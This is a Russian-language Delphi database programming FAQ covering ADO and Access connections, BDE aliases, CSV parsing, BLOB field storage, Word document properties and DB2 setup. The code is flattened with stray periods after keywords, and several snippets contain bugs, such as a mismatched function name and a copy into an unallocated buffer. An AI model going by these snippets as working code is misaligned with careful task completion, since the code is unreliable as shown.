ExtractFileDir(Application.ExeName) + '\' + lsDBName. Else. Begin. LOpenDialog.Filter := 'MS Access DB|' + lsDBName; If lOpenDialog.Execute then. Result := lOpenDialog.FileName; End; End; Procedure TfrmMain.ConnectToAccessDB(lDBPathName, lsDBPassword: string); Begin. Global_DBConnection_String := 'Provider=Microsoft.Jet.OLEDB.4.0;' + 'Data Source=' + lDBPathName + ';' + 'Persist Security Info=False;' + 'Jet OLEDB:Database Password=' + lsDBPassword; With TUsers do. Begin. ConnectionString := Global_DBConnection_String; TableName := 'Users'; Active := True; End; End; // Check if it is a valid ACCESS DB File Before opening it. Function TfrmMain.CheckIfAccessDB(lDBPathName: string): Boolean; Var. UnTypedFile: file of Byte; Buffer: array[0..19] of Byte; NumRecsRead: Integer; I: Integer; MyString: string; Begin. AssignFile(UnTypedFile, lDBPathName); Reset(UnTypedFile, 1); BlockRead(UnTypedFile, Buffer, 19, NumRecsRead); CloseFile(UnTypedFile); For i := 1 to 19 do. MyString := MyString + Trim(Chr(Ord(Buffer[i]))); Result := False; If Mystring = 'StandardJetDB' then. Result := True; If Result = False then. MessageDlg(ERRORMESSAGE_2, mtInformation, [mbOK], 0); End; Procedure TfrmMain.BitBtnAddClick(Sender: TObject); Begin. AddRecordToMSAccessDB; End; Procedure TfrmMain.AddRecordToMSAccessDB; Var. LADOQuery: TADOQuery; LUniqueNumber: Integer; Begin. If Trim(EditTextBox.Text) <> '' then. Begin. LADOQuery := TADOQuery.Create(nil); With lADOQuery do. Begin. ConnectionString := Global_DBConnection_String; SQL.Text := 'SELECT Number from Users'; Open; Last; // Generate Unique Number (AutoNumber in Access). LUniqueNumber := 1 + StrToInt(FieldByName('Number').AsString); Close; // Insert Record into MSAccess DB using SQL. SQL.Text := 'INSERT INTO Users Values (' + IntToStr(lUniqueNumber) + ',' + QuotedStr(UpperCase(EditTextBox.Text)) + ',' + QuotedStr(IntToStr(lUniqueNumber)) + ')'; ExecSQL; Close; // This Refreshes the Grid Automatically. Timer1.Interval := 5000; Timer1.Enabled := True; End; End; End; Procedure TfrmMain.BitBtnRefreshClick(Sender: TObject); Begin. Tusers.Active := False; Tusers.Active := True; End; Procedure TfrmMain.Timer1Timer(Sender: TObject); Begin. Tusers.Active := False; Tusers.Active := True; Timer1.Enabled := False; End; Function TfrmMain.GetADOVersion: Double; Var. ADO: OLEVariant; Begin. Try. ADO := CreateOLEObject('adodb.connection'); Result := StrToFloat(ADO.Version); ADO := Null; Except. Result := 0.0; End; End; Procedure TfrmMain.Button1Click(Sender: TObject); Begin. ShowMessage(Format('ADO Version = %n', [GetADOVersion])); End; End.

Передача параметров ADO запросу.

Code: CONECT_STR = 'Provider=Microsoft.Jet.OLEDB.4.0;Password=" " ;User ID=Admin;' + {Data Source=D:\ЕхВd\ТЕРМО\Вd0.mdb;}. 'Data Source=%s; Mode=Read|Write|Share Deny None;Extended Properties=" " ;' + 'Locale Identifier=1049;Persist Security Info=True;Jet OLEDB:System database=" " ;' + 'Jet OLEDB:Registry Path=" " ;Jet OLEDB:Database Password=" " ;Jet OLEDB:Engine Type=4;' + 'Jet OLEDB:Database Locking Mode=0;Jet OLEDB:Global Partial Bulk Ops=2;' + 'Jet OLEDB:Global Bulk Transactions=1;Jet OLEDB:New Database Password=" " ;' + 'Jet OLEDB:Create System Database=False;Jet OLEDB:Encrypt Database=False;' + 'Jet OLEDB:Compact Without Replica Repair=False;Jet OLEDB:SFP=False'; Function TdmR3.GetCountForPeriod(LastDate: TDateTime; IsPlan: boolean): Integer; Var qu: TADOQuery; S: string; Begin. Qu := TADOQuery.Create(nil); Try. S := FormatDateTime('dd.mm.yy', LastDate); Qu.ConnectionString := WideString(Format(CONECT_STR, [db_file])); Qu.SQL.Text := 'select count(*) from DecadaVal as d where d.LastDate=:LastDate and IsPlan=:IsPlan'; Qu.Parameters[0].Value := LastDate; Qu.Parameters[1].Value := IsPlan; Qu.Open; Result := qu.Fields[0].AsInteger; Finally. Qu.Free; End; End;

Как работать из Delphi напрямую с ADO?

Автор: Nomadic.

Итак, хочу поделиться некоторыми достижениями... так на всякий случай. Если у вас вдруг потребуется сделать в своей программке доступ к базе данных, а BDE использовать будет неохота (или невозможно) - то есть довольно приятный вариант: использовать ActiveX Data Objects. Однако с их использованием есть некоторые проблемы, и одна из них это как передавать Optional параметры, которые вроде как можно не указывать. Однако, если вы работаете с ADO по-человечески, а не через тормозной IDispatch.Invoke то это превращается в головную боль. Вот как от нее избавляться:

Code: Var. OptionalParam: OleVariant; VarData: PVarData; Begin. OptionalParam := DISP_E_PARAMNOTFOUND; VarData := @OptionalParam; VarData^.VType := varError;

Как узнать физическое расположение локальной БД по Alias?

По Table(Query).Database:

Code: Uses. DbiProcs; Function GetDirByDatabase(Database: TDatabase): string; Var. PszDir: PChar; Begin. PszDir := StrAlloc(255); Try. DbiGetDirectory(Database.Handle, True, pszDir); Result := StrPas(pszDir); Finally. StrDispose(pszDir); End; End;

Добавление псевдонима с помощью функции DbiAddAlias.

Автор: Tom Stickle.

Code: Var. PszAliasName: PChar; { Имя псевдонима }. PszDriverType: PChar; { Тип драйвера для псевдонима }. PszParams: PChar; { Дополнительные параметры }. BPersist: Bool; { Постоянный или временный псевдоним }. DbiRes: Integer; { Возвращаемый код }. Begin. PszAliasName := strAlloc(25); PszDriverType := strAlloc(25); PszParams := strAlloc(100); Try. BPersist := True; StrPcopy(pszAliasName, 'Lance'); StrPcopy(pszDriverType, 'PARADOX'); StrPcopy(pszParams, 'PATH:' + 'c:\Paradox\'); DbiRes := DbiAddAlias(nil, pszAliasName, pszDriverType, pszParams, BPersist); Finally. StrDispose(pszAliasName); StrDispose(pszDriverType); StrDispose(pszParams); End; End;

Как использовать свой диалог ввода пароля BDE?

Code: // ..... // ..... Public. { Public declarations }. Procedure Password(Sender: TObject; var Continue: Boolean); // ... End; Var. FormMain: TFormMain; Implementation. {$R *.dfm}. Procedure TFormMain.Password(Sender: TObject; var Continue: Boolean); Var. Passwd: String[15]; Begin. Passwd := ''; FormPasswd := TFormPasswd.Create(Application); // Creating dialog. Try. If (FormPasswd.ShowModal = ID_OK) then begin // If OK is pressed then get password from edit "edPassword". Passwd := FormPasswd.edPasswd.Text. End. Else begin // If Cancel is pressed then terminate application. Application.ShowMainForm := False; Application.Terminate; Exit; End; Finally. FormPasswd.Free; // finally free password form. End; Continue := (Passwd > ''); Session.AddPassword(Passwd); // Add password typed to session. End; Procedure TFormMain.FormCreate(Sender: TObject); Begin. ClientDatabase.Session.RemoveAllPasswords; // Remove all typed passwords from session, so user need type password again in app start. // Undocument next row in debug mode. This is for debugging and testing only, so we don't need typing password again and again ... // ClientDatabase.Session.AddPassword('YOUR-PASSWORD'); ClientDatabase.Session.OnPassword := Password; // Set OnPassword Event. End;

Читаем CSV текстовый файл в StringGrid.

Code: Procedure ReadTabFile(FN: TFileName; FieldSeparator: Char; SG: TStringGrid); Var. I: Integer; S: string; T: string; Colonne, ligne: Integer; Les_Strings: TStringList; CountCols: Integer; CountLines: Integer; TabPos: Integer; StartPos: Integer; InitialCol: Integer; Begin. Les_Strings := TStringList.Create; Try. Les_Strings.LoadFromFile(FN); CountLines := Les_Strings.Count + SG.FixedRows; T := Les_Strings[0]; For i := 0 to Length(T) - 1 do Inc(CountCols, Ord(IsDelimiter(FieldSeparator, T, i))); Inc(CountCols, 1 + SG.FixedCols); If CountLines > SG.RowCount then SG.RowCount := CountLines; If CountCols > SG.ColCount then SG.ColCount := CountCols; InitialCol := SG.FixedCols - 1; Ligne := SG.FixedRows - 1; For i := 0 to Les_Strings.Count - 1 do. Begin. Colonne := InitialCol; Inc(Ligne); StartPos := 1; S := Les_Strings[i]; TabPos := Pos(FieldSeparator, S); Repeat. Inc(Colonne); SG.Cells[Colonne, Ligne] := Copy(S, StartPos, TabPos - 1); S := Copy(S, TabPos + 1, 999); TabPos := Pos(FieldSeparator, S); Until TabPos = 0; End; Finally. Les_Strings.Free; End; End; Procedure TForm1.Button1Click(Sender: TObject); Begin. Screen.Cursor := crHourGlass; ReadTabFile('C:\TEST.TXT', #9, StringGrid1); Screen.Cursor := crDefault; End;

Разбивка строки на слова.

Приведу несколько простых функций, позволяющих работать с отдельными словами в строке. Возможно они пригодятся вам для разбивки текстовых полей на отдельные слова (for i := 1 to NumToken do ...) с последующим сохранением их в базе данных.

Code: Function GetToken(aString, SepChar: string; TokenNum: Byte): string; { Параметры: aString : полная строка. SepChar : единственный символ, служащий. Разделителем между словами (подстроками). TokenNum: номер требуемого слова (подстроки)). Result : искомое слово или пустая строка, если количество слов. Меньше значения 'TokenNum' } Var. Token: string; StrLen: Byte; TNum: Byte; TEnd: Byte; Begin. StrLen := Length(aString); TNum := 1; TEnd := StrLen; While ((TNum <= TokenNum) and (TEnd <> 0)) do. Begin. TEnd := Pos(SepChar, aString); If TEnd <> 0 then. Begin. Token := Copy(aString, 1, TEnd - 1); Delete(aString, 1, TEnd); Inc(TNum); End. Else. Begin. Token := aString; End; End; If TNum >= TokenNum then. Begin. GetToken1 := Token; End. Else. Begin. GetToken1 := ''; End; End; Function NumToken(aString, SepChar: string): Byte; { Parameters: aString : полная строка. SepChar : единственный символ, служащий. Разделителем между словами (подстроками). Result : количество найденных слов (подстрок). } Var. RChar: Char; StrLen: Byte; TNum: Byte; TEnd: Byte; Begin. If SepChar = '#' then. Begin. RChar := '*' End. Else. Begin. RChar := '#' End; StrLen := Length(aString); TNum := 0; TEnd := StrLen; While TEnd <> 0 do. Begin. Inc(TNum); TEnd := Pos(SepChar, aString); If TEnd <> 0 then. Begin. AString[TEnd] := RChar; End; End; Result := TNum; End; // Или другое решение: Function CopyColumn(const s_string: string; c_fence: char; I_index: integer): string; Var. I, i_left: integer; Begin. Result := EmptyStr; If i_index = 0 then. Begin. Exit; End; I_left := 0; For i := 1 to Length(s_string) do. Begin. If s_string[i] = c_fence then. Begin. Dec(i_index); If i_index = 0 then. Begin. Result := Copy(s_string, i_left + 1, i - i_left - 1); Exit; End. Else. Begin. I_left := i; End; End; End; Dec(i_index); If i_index = 0 then. Begin. Result := Copy(s_string, i_left + 1, Length(s_string)); End; End;

Импорт большого CSV файла.

Code: Var s: string; f: TextFile; AssignFile(f, 'D:\\INPUT.TXT'); Reset(f); While not EOF(f) do. Begin. ReadLn(s, f); ShowMessage(GetField(s, 1)); {The first field\}. ShowMessage(GetField(s, 6)); {The sixth field\}. ShowMessage(GetField(s, 25)); {will return '' if no 25 column...\}. End; CloseFile(f); { ==== This function will return a field from a delimited string. ==== \}. Function GetField(InpString: string; fieldpos: Integer): string; Var. C: Char; Curpos, i: Integer; Begin. Curpos := 1; For i := 1 to fieldpos do. Begin. Result := ''; if curpos > Length(InpString) then Break; Repeat. C := InpString[curpos]; Inc(curpos, 1); If (c = '"') or (c = #13) or (c = #10) then c := ' '; If c <> ',' then result := result + c; Until (c = ',') or (curpos > Length(InpString)). End; If (curpos > Length(InpString)) and (i < fieldpos) then result := ''; Result := Trim(result); End; { ==== This function will trim a string removing spaces etc. ==== \}. Function Trim(inp_str: string): string; Var. I: Integer; Begin. For i := 1 to Length(inp_str) do. If inp_str[i] <> ' ' then Break; If i > 1 then Delete(inp_str, 1, i - 1); For i := Length(inp_str) downto 1 do. If inp_str[i] <> ' ' then Break; If i < Length(inp_str) then Delete(inp_str, i + 1, Length(inp_str)); Result := inp_str; If result = ' ' then result := ''; End;

Как прочитать/изменить свойства Word документа?

Code: { 1. Change MS Word properties via OLE }. Uses. ComObj; Procedure TForm1.Button1Click(Sender: TObject); Const. WdPropertyTitle = $00000001; WdPropertySubject = $00000002; WdPropertyAuthor = $00000003; WdPropertyKeywords = $00000004; WdPropertyComments = $00000005; WdPropertyTemplate = $00000006; WdPropertyLastAuthor = $00000007; WdPropertyRevision = $00000008; WdPropertyAppName = $00000009; WdPropertyTimeLastPrinted = $0000000A; WdPropertyTimeCreated = $0000000B; WdPropertyTimeLastSaved = $0000000C; WdPropertyVBATotalEdit = $0000000D; WdPropertyPages = $0000000E; WdPropertyWords = $0000000F; WdPropertyCharacters = $00000010; WdPropertySecurity = $00000011; WdPropertyCategory = $00000012; WdPropertyFormat = $00000013; WdPropertyManager = $00000014; WdPropertyCompany = $00000015; WdPropertyBytes = $00000016; WdPropertyLines = $00000017; WdPropertyParas = $00000018; WdPropertySlides = $00000019; WdPropertyNotes = $0000001A; WdPropertyHiddenSlides = $0000001B; WdPropertyMMClips = $0000001C; WdPropertyHyperlinkBase = $0000001D; WdPropertyCharsWSpaces = $0000001E; Const. AWordDoc = 'C:\Test.doc'; WdSaveChanges = $FFFFFFFF; Var. WordApp: OLEVariant; SaveChanges: OleVariant; Begin. Try. WordApp := CreateOleObject('Word.Application'); Except. // Error.... Exit; End; Try. WordApp.Visible := False; WordApp.Documents.Open(AWordDoc); WordApp.ActiveDocument.BuiltInDocumentProperties[wdPropertyTitle].Value := 'Your Title...'; WordApp.ActiveDocument.BuiltInDocumentProperties[wdPropertySubject].Value := 'Your Subject...'; // ... // ... Finally. SaveChanges := wdSaveChanges; WordApp.Quit(SaveChanges, EmptyParam, EmptyParam); End; End;

Быстрая обработка CSV файла.

Классы Tstrings/TStringlist имеют свойство commatext, которое автоматически разделяет строки, содержащие разделители, на отдельные части. Пример показывает как считать CSV файл. В Конечном итоге, автоматически разделённые строки содержатся в TStringlist.

Code: Var. Ts: tstringlist; S: string; Tf: Textfile; Begin. Ts := Tstringlist.create; Assignfile(tf, 'filename'); Reset(tf); While not eof(tf) do. Begin. Readln(tf,S); Ts.CommaText := S; //ProcessLine; End; Closefile(tf); Ts.free; End;

RecCount в таблицах ASCII.

В Delphi 1.0 для получения количества записей в ASCII файле (.TXT- и .SCH-файлы) я пользовался свойством RecordCount компонента TTable. В Delphi 2.0 эта функциональность не поддерживается! Я прав или не прав? Во всяком случае как мне получить количество записей, содержащихся в ASCII таблице?

В Delphi 2.0, свойство RecordCount отображается на недокументированную функцию BDE DbiGetExactRecordCount. Данное изменение было сделано для обеспечения правильных величин при работе с "живыми" запросами. Очевидно, данное API по какой-то причине не поддерживает текстовые файлы.

Вы можете обойти эту проблему, вызывая функцию API BDE DbiGetRecordCount напрямую (добавьте BDE к списку используемых модулей):

Code: Procedure TForm1.FormKeyUp(Sender: TObject; var Key: Word); Var. RecCount: Integer; Begin. Check(DbiGetRecordCount(Table1.Handle, RecCount); End;

Извлечение изображения из BLOB-поля.

Извлечение изображения из BLOB-поля таблицы dBASE или Paradox -- без первой записи изображения в файл -- простейший процесс использования метода Assign для сохранения содержимого BLOB-поля в объекте, имеющим тип TBitmap. Отдельный объект TBitmap или свойство Bitmap объекта Picture, в свою очередь являющегося свойством компонента TIMage, могут служить примером совместимой цели для данной операции.

Вот пример кода, демонстрирующего использование метода Assign для копирования изображения из BLOB-поля в компонент TImage.

Code: Procedure TForm1.Button1Click(Sender: TObject); Begin. Image1.Picture.Bitmap.Assign(Table1Bitmap); End;

Запись потока в BLOB-поле.

Вся хитрость заключается в использовании StrPcopy (помещения вашей строки в PChar) и записи буфера в поток. Вы не сможете передать это в PChar непосредственно, поскольку ему нужен буфер, поэтому для получения необходимого размера буфера используйте <BufferName>[0] и StrLen().

Вот пример использования TMemoryStream и записи его в Blob-поле:

Code: Var. CString: string; OMemory: TMemoryStream; Buffer: PChar; Begin. CString := 'Ну, допустим, хочу эту строку!'; { СОздаем новый поток памяти }. OMemory := TMemoryStream.Create; {!! Копируем строку в PChar }. StrPCopy(Buffer, cString); { Пишем =буфер= и его размер в поток }. OMemory.Write(Buffer[0], StrLen(Buffer)); {Записываем это в поле}. < Blob / Memo / GraphicFieldName > .LoadFromStream(oMemory); { Необходимо освободить ресурсы}. OMemory.Free; End;

©Drkb::02471.

Взято с http://delphiworld.narod.ru.

Запись и чтение чисел в Blob-поле.

Мне нужно записать серию чисел в файл Paradox в blob-поле. Числа получаются из значений компонент, размещенных на форме. Затем мне нужно будет считывать числа из blob-поля и устанавливать согласно им значения компонент. Как мне сделать это?

Вы можете начать свое исследование со следующего модуля:

Code: Unit BlobFld; Interface. Uses. SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons, DBTables, DB, ExtCtrls, DBCtrls, Grids, DBGrids; Type. TFrmBlobFld = class(TForm). BtnWrite: TBitBtn; Table1: TTable; DataSource1: TDataSource; DBNavigator1: TDBNavigator; LbxDisplayBlob: TListBox; Table1pubid: TIntegerField; Table1comments: TMemoField; Table1UpdateTime: TTimeField; Table1Real1: TFloatField; Table1Real2: TFloatField; Table1Real3: TFloatField; Table1Curr1: TCurrencyField; Table1Blobs: TBlobField; Table1Bytes: TBytesField; CbxRead: TCheckBox; Procedure BtnWriteClick(Sender: TObject); Procedure DataSource1DataChange(Sender: TObject; Field: TField); Procedure FormShow(Sender: TObject); Procedure FormClose(Sender: TObject; var Action: TCloseAction); Private. { Private-Deklarationen }. Public. { Public-Deklarationen }. End; Var. FrmBlobFld: TFrmBlobFld; Implementation. {$R *.DFM}. Type. ADouble = array[1..12] of double; PADouble = ^ADouble; Procedure TFrmBlobFld.BtnWriteClick(Sender: TObject); Var. I: integer; MyBlob: TBlobStream; V: longint; Begin. Table1.Edit; MyBlob := TBlobStream.Create(Table1Blobs, bmReadWrite); Try. V := ComponentCount; MyBlob.Write(v, sizeof(longint)); For i := 0 to ComponentCount - 1 do. Begin. V := Components[i].ComponentIndex; MyBlob.Write(v, sizeof(longint)); End; Finally. Table1.Post; MyBlob.Free; End; End; Procedure TFrmBlobFld.DataSource1DataChange(Sender: TObject; Field: TField); Var. I: integer; MyBlob: TBlobStream; T: longint; V: longint; Begin. If CbxRead.Checked then. Begin. LbxDisplayBlob.Clear; MyBlob := TBlobStream.Create(Table1Blobs, bmRead); Try. MyBlob.Read(t, sizeof(longint)); LbxDisplayBlob.Items.Add(IntToStr(t)); For i := 0 to t - 1 do. Begin. MyBlob.Read(v, sizeof(longint)); LbxDisplayBlob.Items.Add(IntToStr(v)); End; Finally. MyBlob.Free; End; End; End; Procedure TFrmBlobFld.FormShow(Sender: TObject); Begin. Table1.Open; End; Procedure TFrmBlobFld.FormClose(Sender: TObject; Var Action: TCloseAction); Begin. Table1.Close; End; End.

©Drkb::02472.

Взято с http://delphiworld.narod.ru.

Как мне в таблице Paradox скопировать массив целочисленных чисел в TBlobField и наоборот? Элементы массива являются точками графика данных, который я хочу выводить, если запись доступна.

Запишите массив в поток памяти и затем используйте метод TBlob LoadFromStream. Для извлечения данных используйте метод TBlob SaveToStream (сохранение и извлечение массива из потока памяти).

©Drkb::02473.

Взято с http://delphiworld.narod.ru.

Загрузка изображений в Blob-поля.

Имеется несколько способов загрузки изображения в BLOB-поле таблицы dBASE или Paradox. Три самых простых метода включают в себя:

1. копирование данных из буфера обмена Windows в компонент TDBImage, связанный с BLOB-полем

2. использование метода LoadFromFile компонента TBLOBField

3. использование метода Assign для копирования объекта типа TBitmap в значение свойства Picture компонента TBDBImage.

Первый способ, когда происходит копирование изображения из буфера обмена, вероятно, наиболее удобен в случае, когда необходимо добавить изображение в таблицу при использовании приложения конечным пользователем. В этом случае компонент TDBImage используется в роли интерфейса между BLOB-полем таблицы и изображением, хранящимся в буфере обмена. Метод PasteFromClipboard компонента TDBImage как раз и занимается тем, что копирует изображение из буфера обмена в TDBImage. При сохранении записи изображение записывается в BLOB-поле таблицы.

Поскольку буфер обмена Windows может содержать данные различных форматов, то желательно перед вызовом метода CopyFromClipboard осуществлять проверку формата хранящихся в нем данных. Для этого необходимо создать объект TClipboard и использовать его метод HasFormat, позволяющий определить формат хранящихся в буфере данных. Имейте в виду, что для создания объекта TClipboard вам необходимо добавить модуль Clipbrd в секцию uses того модуля, в котором будет создаваться экземпляр объекта.

Вот исходный код примера, копирующий содержание буфера обмена в компонент TDBImage, если содержащиеся в буфере данные имеют формат изображения:

Code: Procedure TForm1.Button1Click(Sender: TObject); Var. C: TClipboard; Begin. C := TClipboard.Create; Try. If Clipboard.HasFormat(CF_BITMAP) then. DBImage1.PasteFromClipboard. Else. ShowMessage('Буфер обмена не содержит изображения!'); Finally. C.Free; End; End;

©Drkb::02467.

Второй способ заполнения BLOB-поля заключается в загрузке изображения непосредственно из файла в BLOB-поле. Данный способ одинаково хорош как при создании приложения (формирование данных), так и при его использовании.

Этот способ использует метод LoadFromFile компонента TBLOBField, который применяется в Delphi для работы с dBASE-таблицами и двоичными Windows полями или таблицами Paradox и графическими Windows полями; в обоих случаях с помощью данного метода возможно загрузить изображение и сохранить его в таблице.

Методу LoadFromFile компонента TBLOBField необходим единственный параметр типа String: имя загружаемого файла с изображением. Значение данного параметра может быть получено при выборе файла пользователем с помощью компонента TOpenDialog и его свойства FileName.

Вот пример, демонстрирующий работу метода LoadFromFile компонента TBLOBField с именем Table1Bitmap (поле с именем Bitmap связано с таблицей TTable, имеющей имя Table1):

Code: Procedure TForm1.Button2Clicck(Sender: TObject); Begin. Table1Bitmap.LoadFromFile( 'c:\delphi\images\splash\16color\construc.bmp'); End;

©Drkb::02468.

Третий способ для копирования содержимого объекта типа TBitmap в свойство Picture компонента TDBImage использует метод Assign. Объект типа TBitmap может быть как свойством Bitmap свойства-объекта Picture компонента TImage, так и отдельного объекта TBitmap. Как и в методе, копирующем данные из буфера обмена в компонент TDBImage, данные изображения компонента TDBImage сохраняются в BLOB-поле после успешного сохранения записи.

Ниже приведен пример, использующий метод Assign. В нашем случае используется отдельный объект TBitmap. Для помещения изображения в компонент TBitmap был вызван его метод LoadFromFile.

Code: Procedure TForm1.Button3Click(Sender: TObject); Var. B: TBitmap; Begin. B := TBitmap.Create; Try. B.LoadFromFile('c:\delphi\images\splashh\16color\athena.bmp'); DBImage1.Picture.Assign(B); Finally. B.Free; End; End;

©Drkb::02470.

Взято с http://delphiworld.narod.ru.

BLOBFIELD как BITMAP.

Сохраняем Bitmap в поле dbase с именем Icon. Icon представляет собой двоичное Blob-поле.

Code: Procedure .... Var IconStream : TMemoryStream; .. .. Begin. . . IconStream := TMemoryStream.Create; Image1.picture.icon.savetostream(IconStream); (Table1.fieldbyname('Icon') as TBlobField).LoadFromStream(IconStream); Table1.post; IconStream.Free; . . End;

Почему DB2 ругается на Create Trigger.

Я тут писал по поводу того, что у меня не работали триггеры. Все дело оказалось в правиле написания команды "create trigger". Если все остальные команды корректно воспринимаются на любом регистре, то эта - только набранная одними большими буквами.

©Drkb::02976.

Взято с http://delphiworld.narod.ru.

Как заставить работать DB2 через протокол IPX.

Связь Win-клиента c DB2 в сети Netware.

Настройка доступа к DB2.

1. Связь с использованием протокола IPX/SPX.

Возможны два варианта доступа:

Через сервер NETWARE;

Прямая адресация.

1.1. Конфигурация для доступа через сервер.

Замечание: Проверялся доступ через сервера NW 3.11 и 3.12. Для 4.х нужно еще разобраться.

1.1.1. DB2 Сервер.

Должна быть установлена OS/2 Warp или OS/2 Warp Connect;

Включена поддержка NETWARE;

В CONFIG.SYS в переменную среды DB2COMM добавить (через запятую) IPXSPX и перезагрузить систему;

Создать командный файл DBIPXSET.CMD следующего вида:

|------------------------------------------------------------------

|db2 update dbm cfg using fileserver objectname dbserver.

|------------------------------------------------------------------

Где - <NWSERVER> - имя сервера;

Выполнить командный файл DBIPXSET.CMD;

Перестартовать сервер базы данных;

Создать командный файл DBIPXREG.CMD следующего вида:

|----------------------------------------------------------------

|db2 register nwbindery user.

|----------------------------------------------------------------

Где - <USERNAME> - имя пользователя, обладающего правами администратора на сервере <NWSERVER> ;

Выполнить командный файл DBIPXREG.CMD;

Ответить на запрос пароля.

1.1.2. WINDOWS - клиент.

Установить WINDOWS 3.1 или WfWG 3.11;

Установить клиента NETWARE от версии 4.х;

При установке влючить поддержку WINDOWS;

Установить клиента DB2 для WINDOWS;

Используя программу Client Setup описать новый узел - сервер базы данных :

Name - <любое имя>

Protocol - IPX/SPX.

File server - <NWSERVER>

Object name - dbserver.

Описать базу данных и разрешить доступ к ней через ODBC.

1.2. Конфигурация для доступа через прямую адресацию.

1.2.1. DB2 Сервер.

См. п 1.1.1;

Найти в директории x:\sqllib\misc программу DB2IPXAD.EXE и выполнить ее;

Записать полученный адрес;

1.2.2. WINDOWS - клиент.

См. п. 1.1.2. (первые три шага);

Используя программу Client Setup описать новый узел - сервер базы данных :

Name - <любое имя>

Protocol - IPX/SPX.

File server - *

Object name - <адрес полученный от DB2IPXAD.EXE>

Описать базу данных и разрешить доступ к ней через ODBC.

©Drkb::02977.

Взято с http://delphiworld.narod.ru.

Чтение OLE из Blob поля Paradox.

Автор: Eryk.

...после моих дискуссий с людьми из службы технической поддержки Borland вывод один -- это невозможно!

Попробуйте так:

Code: Procedure TForm1.SpeedButton1Click(Sender: TObject); Var. B: TBlobStream; Begin. Try. B := TBlobStream.Create((Table1.FieldByName('OLE') as TBlobField),bmRead); OLEContainer1.LoadFromStream(b); Finally. B.free; End; End;

Как инсталлировать INF файл?

Code: Uses. ShellAPI; Function InstallINF(const PathName: string; hParent: HWND): Boolean; Var. Instance: HINST; Begin. Instance := ShellExecute(hParent, PChar('open'), PChar('rundll32.exe'), PChar('setupapi,InstallHinfSection DefaultInstall 132 ' + PathName), Nil, SW_HIDE); Result := instance > 32; End; { InstallINF }. // Example: Procedure TForm1.Button1Click(Sender: TObject); Begin. InstallINF('C:\XYZ.inf', 0); End;

Сохранение и чтение файлов в BLOB-полях.

Code: // Сохраняем. Procedure TForm1.Button1Click(Sender: TObject); Var. Blob: TBlobStream; Begin. Blob := yourDataset.CreateBlobStream(yourDataset.FieldByName('YOUR_BLOB'), bmWrite); Try. Blob.Seek(0, soFromBeginning); Fs := TFileStream.Create('c:\your_name.doc', fmOpenRead or. FmShareDenyWrite); Try. Blob.CopyFrom(fs, fs.Size). Finally. Fs.Free. End; Finally. Blob.Free. End; End; // Загружаем. Procedure TForm1.Button1Click(Sender: TObject); Var. Blob: TBlobStream; Begin. Blob := yourDataset.CreateBlobStream(yourDataset.FieldByName('YOUR_BLOB'), bmRead); Try. Blob.Seek(0, soFromBeginning); With TFileStream.Create('c:\your_name.doc', fmCreate) do. Try. CopyFrom(blob, blob.Size). Finally. Free. End; Finally. Blob.Free. End; End;

Сохранение TForm и ее свойств в BLOB-поле.

Code: Procedure SaveToField(FField: TBlobField; Form: TComponent); Var. Stream: TBlobStream; FormName: string; Begin. FormName := Copy(Form.ClassName, 2, 99); Stream := TBlobStream.Create(FField, bmWrite); Try. Stream.WriteComponentRes(FormName, Form); Finally. Stream.Free; End; End; Procedure LoadFromField(FField: TBlobField; Form: TComponent); Var. Stream: TBlobStream; I: integer; Begin. Try. Stream := TBlobStream.Create(FField, bmRead); Try. {удаляем все компоненты}. For I := Form.ComponentCount - 1 downto 0 do. Form.Components[I].Free; Stream.ReadComponentRes(Form); Finally. Stream.Free; End; Except. On EFOpenError do. {ничего}; End; End;

Связать поле BLOB таблицы Paradox с компонентом TRichEdit через потоки.

Автор: Сергей Лагонский.

Я сам занимался этой задачей и мое предыдущее письмо к Вам явилось результатом экспериментов над TRichEdit. Поэтому я хочу предложить Вам пример проэкта, в котором я связываю поле BLOB таблицы Paradox с компонентом TRichEdit через потоки. Кроме того я использую библиотеку ZLib из стандартного приложения к Delphi 3 CSS. Это позволяет по ходу перекачивания данных в таблицу сжимать текст, а при чтении - распаковывать его чем достигается уменьшение размера .MB-файла, что полезно при большом количестве записей с BLOB-полем.

В заключение хочу сказать несколько слов о библиотеке ZLib.dcu (размер 48496 байт, дата создания 24.03.97г.) которая включена в поставку Delphi 3. При использовании конструктора TDecompressStream почему-то генерировался Default Beep и это очень задерживало выполнение декомпрессии. По счастью в поставку входит и исходный текст ZLib.pas. Я перекомпилировал модуль с помощью тестового примера, также входящего в поставку, при этом указав в настройках проэкта не включать отладочную информацию. В результате размер ZLib.dcu стал равным 45681 байт, а сигнал генерироваться перестал.

Теперь о проэкте. Он имеет одну форму frmMain. Содержимое файлов проэкта привожу ниже. Для работы также необходима таблица Table.db, имеющая структуру:

Имя поля Тип Размер.

ID +

BLOBData B 64.

И Alias с именем CBDB указывающий на каталог с этой таблицей.

Для упрощения размещения компонентов в форме проделайте следующее:

Создайте новый проект;

Скопируйте выделенную красным цветом часть файла Main.dfm в буфер обмена;

Сделайте активной вновь созданную форму и вставте в нее содержимое буфера;

Измените свойства самой формы в соответствии с нижеприведенным описанием.

Code: // Файл Main.dfm: Object frmMain: TfrmMain. Left = 476. Top = 347. BorderStyle = bsSingle. Caption = 'Compressed BLOB' ClientHeight = 235. ClientWidth = 246. Font.Charset = DEFAULT_CHARSET. Font.Color = clWindowText. Font.Height = -11. Font.Name = 'MS Sans Serif' Font.Style = []. Position = poScreenCenter. OnShow = FormShow. PixelsPerInch = 96. TextHeight = 13. Object SB1: TSpeedButton. Left = 1. Top = 209. Width = 25. Height = 25. Hint = 'Добавить' Glyph.Data = { 76010000424D7601000000000000760000002800000020000000100000000100. 04000000000000010000130B0000130B00001000000000000000000000000000. 800000800000008080008000000080008000808000007F7F7F00BFBFBF000000. FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00333333333333. 33333333333FFFFFFFFF333333000000000033333377777777773333330FFFFF. FFF03333337F333333373333330FFFFFFFF03333337F3FF3FFF73333330F00F0. 00F03333F37F773777373330330FFFFFFFF03337FF7F3F3FF3F73339030F0800. F0F033377F7F737737373339900FFFFFFFF03FF7777F3FF3FFF70999990F00F0. 00007777777F7737777709999990FFF0FF0377777777FF37F3730999999908F0. F033777777777337F73309999990FFF0033377777777FFF77333099999000000. 3333777777777777333333399033333333333337773333333333333903333333. 3333333773333333333333303333333333333337333333333333}. NumGlyphs = 2. ParentShowHint = False. ShowHint = True. OnClick = SB1Click. End. Object SB2: TSpeedButton. Left = 25. Top = 209. Width = 